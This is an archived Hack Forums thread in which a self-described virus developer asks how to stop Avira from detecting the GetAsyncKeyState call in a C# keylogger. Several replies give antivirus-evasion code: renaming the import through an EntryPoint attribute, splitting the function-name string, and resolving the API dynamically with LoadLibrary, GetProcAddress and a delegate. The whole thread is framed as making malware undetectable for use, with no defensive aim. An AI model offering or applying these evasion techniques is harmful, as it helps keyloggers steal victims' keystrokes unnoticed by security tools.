+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [C#] C-sharp refud help - Keylogger 1 detection (/showthread.php?tid=5922278)
C-sharp refud help - Keylogger 1 detection - _CASP3R_ - Dec 24, 2018
Hello, I recently started developing viruses. today i added a simple keylogger to my program. Then i got 1 detection by the 1 and only Avira. Now after ages of figuring out what it was. Its this 1 line of code -
"public static extern int GetAsyncKeyState(Int32 i);"
Then i figured out its just the GetAsyncKeyState. Is there a way a rename the call method? I have tried multiple ways but nothing. Any help is appreciated! Thank you. 🤝
Best regards CASPER
RE: C-sharp refud help - Keylogger 1 detection - gigajew - Dec 24, 2018
Change the name of it. Then in the DllImport attribute type EntryPoint = ”GetAsyncKeyState”
Or pm me source and I'll modify it for you
RE: C-sharp refud help - Keylogger 1 detection - StarZ - Dec 25, 2018
Change:
Code
[DllImport("User32.dll")]To:
Code
[DllImport("User32.dll", EntryPoint = "GetAsyncKeyState")]for gigajew's suggestion. Then rename the function to something like:
Code
public static extern int randomFunctionLikeSetCursor(Int32 i)RE: C-sharp refud help - Keylogger 1 detection - _CASP3R_ - Dec 26, 2018
(Dec 24, 2018 12:47 PM)gigajew Wrote: Change the name of it. Then in the DllImport attribute type EntryPoint = ”GetAsyncKeyState”
Or pm me source and I'll modify it for you
Still get the detection sadly i even tried [DllImport("User32.dll", EntryPoint = "GetAsync" + "Key"+"State")]
RE: C-sharp refud help - Keylogger 1 detection - HFDone - Dec 26, 2018
[DllImport("User32.dll", EntryPoint = "GetAsyncKeyState")]
public static extern int GetKey(Int32 i);
RE: C-sharp refud help - Keylogger 1 detection - _CASP3R_ - Dec 26, 2018
(Dec 26, 2018 01:25 PM)HFDone Wrote: [DllImport("User32.dll", EntryPoint = "GetAsyncKeyState")]
public static extern int GetKey(Int32 i);
Already tried man.. the AV looks for a match with the keyword GetAsyncKeyState
RE: C-sharp refud help - Keylogger 1 detection - Paskowsky - Dec 26, 2018
This is not going to work... You have to dynamically import and call api
Take a look at LoadLibrary and GetProcAddress api calls.
Code
IntPtr ptr = GetProcAddress(LoadLibrary("user.dll"),"GetAsyncKeyState");Then you need a delegate with the function signature of GetAsyncKeyState
Code
public delegate int GAK(int i);Now you join the two binding the ptr to the delegate
Code
GAK gak = (GAK)Marshal.GetDelegateForFunctionPointer(ptr,typeof(GAK));Then you call your delegate as it was your function.